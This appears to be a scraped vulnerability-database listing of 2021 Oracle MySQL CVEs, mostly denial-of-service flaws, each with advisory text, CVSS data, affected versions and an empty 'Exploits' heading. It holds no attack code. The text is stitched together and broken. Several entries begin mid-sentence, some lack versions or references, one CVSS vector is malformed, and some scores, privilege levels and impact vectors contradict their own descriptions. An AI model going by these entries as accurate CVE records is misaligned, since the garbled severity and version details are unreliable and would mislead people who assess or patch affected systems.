Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Partition). Supported versions that are affected are 8.0.23 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

Affected Versions
8.0.0 to 8.0.23

External References
• CVE-2021-2208

Exploits

MySQL Insufficient Information Vulnerability
Vulnerability in the MySQL Server product of Oracle MySQL (component: InnoDB). Supported versions that are affected are 5.7.33 and prior and 8.0.23 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

Affected Versions
8.0 to 8.0.23

External References
• CVE-2021-2180

Exploits

MySQL Insufficient Information Vulnerability
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.23 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

Affected Versions
8.0.0 to 8.0.23

External References
• CVE-2021-2212

Exploits

MySQL Insufficient Information Vulnerability
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Stored Procedure). Supported versions that are affected are 8.0.23 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

**Affected Versions**
8.0.0 to 8.0.23

**External References**
- [CVE-2021-2215](#)

**Exploits**

MySQL Insufficient Information Vulnerability

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Information Schema). Supported versions that are affected are 5.7.33 and prior and 8.0.23 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all MySQL Server accessible data. CVSS 3.1 Base Score 4.9 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N).

**Affected Versions**
8.0 to 8.0.23

**External References**
- [CVE-2021-2226](#)

**Exploits**

MySQL Insufficient Information Vulnerability

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.23 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

**Affected Versions**
8.0.0 to 8.0.23
External References
- CVE-2021-2230

Exploits

MySQL Insufficient Information Vulnerability
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.23 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

Affected Versions
8.0.0 to 8.0.23

External References
- CVE-2021-2278

Exploits

MySQL Insufficient Information Vulnerability
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Stored Procedure). Supported versions that are affected are 8.0.23 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

Affected Versions
8.0.0 to 8.0.23

External References
- CVE-2021-2293

Exploits

MySQL Insufficient Information Vulnerability
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.23 and prior. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).

Affected Versions
8.0.0 to 8.0.23

External References
- CVE-2021-2298

Exploits

MySQL Insufficient Information Vulnerability
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.22 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

Affected Versions
8.0.0 to 8.0.22

External References
- CVE-2021-2213

Exploits

MySQL Insufficient Information Vulnerability
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.23 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

Affected Versions
8.0.0 to 8.0.23

External References
- CVE-2021-2299

Exploits

MySQL Insufficient Information Vulnerability
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Options). Supported versions that are affected are 5.7.33 and prior and 8.0.23 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

Affected Versions
8.0 to 8.0.23

External References
- CVE-2021-2146

Exploits

MySQL Insufficient Information Vulnerability
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Audit Plug-in). Supported versions that are affected are 5.7.33 and prior and 8.0.23 and prior. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of MySQL Server accessible data. CVSS 3.1 Base Score 4.3 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N).

Affected Versions
8.0 to 8.0.23

External References
Exploits

- **MySQL Insufficient Information Vulnerability**

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.23 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

**Affected Versions**

8.0.0 to 8.0.23

**External References**

- [CVE-2021-2162](#)

Exploits

- **MySQL Insufficient Information Vulnerability**

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Group Replication Plugin). Supported versions that are affected are 5.7.33 and prior and 8.0.23 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

**Affected Versions**

8.0 to 8.0.23

**External References**

- [CVE-2021-2164](#)

Exploits

- **MySQL Insufficient Information Vulnerability**

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: DML). Supported versions that are affected are 5.7.33 and prior and 8.0.23 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

**Affected Versions**

8.0 to 8.0.23

**External References**

- [CVE-2021-2179](#)

Exploits

- **MySQL Insufficient Information Vulnerability**

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 5.7.33 and prior and 8.0.23 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

**Affected Versions**

8.0 to 8.0.23

**External References**

- [CVE-2021-2166](#)
a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

**Affected Versions**
8.0 to 8.0.23

**External References**
- [CVE-2021-2169](CVE-2021-2169)

**Exploits**

**MySQL Insufficient Information Vulnerability**
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.23 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

**Affected Versions**
8.0 to 8.0.23

**External References**
- [CVE-2021-2170](CVE-2021-2170)

**Exploits**

**MySQL Insufficient Information Vulnerability**
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Replication). Supported versions that are affected are 5.7.33 and prior and 8.0.23 and prior. Difficult to exploit vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.4 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H).

**Affected Versions**
8.0.0 to 8.0.23

**External References**
- [CVE-2021-2171](CVE-2021-2171)

**Exploits**

**MySQL Insufficient Information Vulnerability**
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: DML). Supported versions that are affected are 8.0.23 and prior. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).

**Affected Versions**
8.0.0 to 8.0.23

**External References**
- [CVE-2021-2172](CVE-2021-2172)
Exploits

MySQL Insufficient Information Vulnerability
Vulnerability in the MySQL Server product of Oracle MySQL (component: InnoDB). Supported versions that are affected are 5.7.33 and prior and 8.0.23 and prior. Difficult to exploit vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.4 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H).

Affected Versions
8.0 to 8.0.23

External References
- CVE-2021-2174

Exploits

MySQL Insufficient Information Vulnerability
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Replication). Supported versions that are affected are 5.7.32 and prior and 8.0.22 and prior. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).

Affected Versions
8.0 to 8.0.22

External References
- CVE-2021-2178

Exploits

MySQL Insufficient Information Vulnerability
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: DML). Supported versions that are affected are 8.0.23 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H).

Affected Versions
8.0.0 to 8.0.23

External References
- CVE-2021-2300

Exploits

MySQL Insufficient Information Vulnerability
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Stored Procedure). Supported versions that are affected are 8.0.23 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server as well as unauthorized update, insert or delete access to some of MySQL Server accessible data. CVSS 3.1 Base Score 5.5 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H).
Affected Versions
8.0.0 to 8.0.23

External References
- [CVE-2021-2304]

Exploits

MySQL Insufficient Information Vulnerability
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: DML). Supported versions that are affected are 8.0.23 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

Affected Versions
8.0.0 to 8.0.23

External References
- [CVE-2021-2305]

Exploits

MySQL Insufficient Information Vulnerability
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Packaging). Supported versions that are affected are 5.7.33 and prior and 8.0.23 and prior. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where MySQL Server executes to compromise MySQL Server. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all MySQL Server accessible data as well as unauthorized update, insert or delete access to some of MySQL Server accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N).

Affected Versions
8.0 to 8.0.23

External References
- [CVE-2021-2307]

Exploits

MySQL Insufficient Information Vulnerability
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Components Services). Supported versions that are affected are 8.0.22 and prior. Difficult to exploit vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.4 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H).

Affected Versions
8.0.0 to 8.0.22

External References
- [CVE-2021-2038]
Exploits

MySQL Insufficient Information Vulnerability

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Stored Procedure). Supported versions that are affected are 8.0.22 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. While the vulnerability is in MySQL Server, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.8 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/N/I:N/A:H).

Affected Versions
8.0.0 to 8.0.22

External References
- CVE-2021-2046

Exploits

MySQL Insufficient Information Vulnerability

Vulnerability in the MySQL Server product of Oracle MySQL (component: InnoDB). Supported versions that are affected are 8.0.22 and prior. Difficult to exploit vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server as well as unauthorized update, insert or delete access to some of MySQL Server accessible data. CVSS 3.1 Base Score 5.0 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:L/A:H).

Affected Versions
8.0.0 to 8.0.22

External References
- CVE-2021-2048

Exploits

MySQL Insufficient Information Vulnerability

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: DML). Supported versions that are affected are 8.0.22 and prior. Difficult to exploit vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.4 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H).

Affected Versions
8.0.0 to 8.0.22

External References
- CVE-2021-2056

Exploits

MySQL Insufficient Information Vulnerability

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Locking). Supported versions that are affected are 8.0.22 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).
Exploits

MySQL Insufficient Information Vulnerability

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 5.6.50 and prior, 5.7.32 and prior and 8.0.22 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

Exploits

MySQL Insufficient Information Vulnerability

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.22 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

Exploits

MySQL Insufficient Information Vulnerability

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: DDL). Supported versions that are affected are 8.0.22 and prior. Difficult to exploit vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.4 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H).

Exploits

MySQL Insufficient Information Vulnerability

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: DDL). Supported versions that are affected are 8.0.22 and prior. Difficult to exploit vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.4 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H).
MySQL Insufficient Information Vulnerability

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.22 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

Affected Versions
8.0.0 to 8.0.22

External References
- CVE-2021-2065

Exploits

MySQL Insufficient Information Vulnerability

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.22 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

Affected Versions
8.0.0 to 8.0.22

External References
- CVE-2021-2070

Exploits

MySQL Insufficient Information Vulnerability

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Stored Procedure). Supported versions that are affected are 8.0.22 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

Affected Versions
8.0.0 to 8.0.22

External References
- CVE-2021-2072

Exploits

MySQL Insufficient Information Vulnerability

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.22 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Stored Procedure). Supported versions that are affected are 8.0.22 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

Affected Versions
8.0.0 to 8.0.22

Exploits
MySQL Insufficient Information Vulnerability

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: DML). Supported versions that are affected are 8.0.22 and prior. Easily exploitable vulnerability allows high privileged attacker with logon to the infrastructure where MySQL Server executes to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.4 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

Affected Versions
8.0.0 to 8.0.22

Exploits
MySQL Insufficient Information Vulnerability

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: DML). Supported versions that are affected are 8.0.22 and prior. Easily exploitable vulnerability allows high privileged attacker with logon to the infrastructure where MySQL Server executes to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.4 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

Affected Versions
8.0.0 to 8.0.22

Exploits
MySQL Insufficient Information Vulnerability
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: DDL). Supported versions that are affected are 8.0.22 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

**Affected Versions**
8.0.0 to 8.0.22

**External References**
- [CVE-2021-2122](#)

**Exploits**
- MySQL Insufficient Information Vulnerability

Vulnerability in the MySQL Server product of Oracle MySQL (component: Information Schema). Supported versions that are affected are 5.7.32 and prior and 8.0.22 and prior. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized read access to a subset of MySQL Server accessible data. CVSS 3.1 Base Score 4.3 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N).

**Affected Versions**
8.0.0 to 8.0.22

**External References**
- [CVE-2021-2032](#)

**Exploits**
- MySQL Insufficient Information Vulnerability

Vulnerability in the MySQL Client product of Oracle MySQL (component: C API). Supported versions that are affected are 5.7.32 and prior and 8.0.22 and prior. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Client. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Client. CVSS 3.1 Base Score 5.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H).

**Affected Versions**
8.0.0 to 8.0.22

**External References**
- [CVE-2021-2011](#)

**Exploits**
- MySQL Insufficient Information Vulnerability

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.22 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

**Affected Versions**
8.0.0 to 8.0.22
External References
- CVE-2021-2021

Exploits

MySQL Insufficient Information Vulnerability
Vulnerability in the MySQL Server product of Oracle MySQL (component: InnoDB). Supported versions that are affected are 5.6.50 and prior, 5.7.32 and prior and 8.0.22 and prior. Difficult to exploit vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.4 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H).

Affected Versions
8.0.0 to 8.0.22

External References
- CVE-2021-2022

Exploits

MySQL Insufficient Information Vulnerability
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.22 and prior. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).

Affected Versions
8.0.0 to 8.0.22

External References
- CVE-2021-2024

Exploits

MySQL Insufficient Information Vulnerability
Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.22 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

Affected Versions
8.0.0 to 8.0.22

External References
- CVE-2021-2031

Exploits

MySQL Insufficient Information Vulnerability
Vulnerability in the MySQL Client product of Oracle MySQL (component: C API). Supported versions that are affected are 5.6.50 and prior, 5.7.32 and prior and 8.0.22 and prior. Difficult to exploit vulnerability allows low privileged attacker with network access...
